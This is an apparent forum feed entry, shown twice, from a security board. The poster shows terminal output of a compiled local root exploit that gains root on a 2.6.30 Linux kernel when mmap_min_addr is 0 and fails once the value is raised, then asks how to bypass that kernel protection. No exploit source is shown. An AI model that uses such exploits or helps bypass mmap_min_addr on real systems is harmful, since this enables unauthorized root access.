hy all evry one find this problm when he want to get root resutl is mmap:permission dinied because "Mmap_min_addr" not 0 evry one have how to bypass "Mmap_min_addr" and write on 0 "Zero" semple exemple: ------------------------------------------------------------- cat /proc/sys/vm/mmap_min_addr 0 gcc -o gayros local-root-exploit-gayros.c ./gayros we got null page babe! Using kernel version 2.6.30.8-64.fc11.i586. Found version 3 structure, doing our tricks in memory... Go go go boy! .we've got bush! # whoami root +++++++++++++++ sudo sysctl -w vm.mmap_min_addr=65536 cat /proc/sys/vm/mmap_min_addr 65536 ./gayros mmap: Permission denied ----------------------------------- SO,whats methods to bypass it http://sla.ckers.org/forum/read.php?3,35473,35473#msg-35473 Tue, 18 Jun 2013 23:27:22 -0500 Phorum 5.2.15a http://sla.ckers.org/forum/read.php?3,35473,35473#msg-35473 http://sla.ckers.org/forum/read.php?3,35473,35473#msg-35473 evry one find this problm
when he want to get root
resutl is
mmap:permission dinied
because "Mmap_min_addr" not 0
evry one have how to bypass "Mmap_min_addr" and write on 0 "Zero"


semple exemple:
-------------------------------------------------------------
cat /proc/sys/vm/mmap_min_addr
0
gcc -o gayros local-root-exploit-gayros.c
./gayros
we got null page babe!
Using kernel version 2.6.30.8-64.fc11.i586.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.we've got bush!
# whoami
root
+++++++++++++++
sudo sysctl -w vm.mmap_min_addr=65536
cat /proc/sys/vm/mmap_min_addr
65536
./gayros
mmap: Permission denied
-----------------------------------
SO,whats methods to bypass it]]> TopSaT13 Full Disclosure Tue, 24 Aug 2010 02:24:42 -0500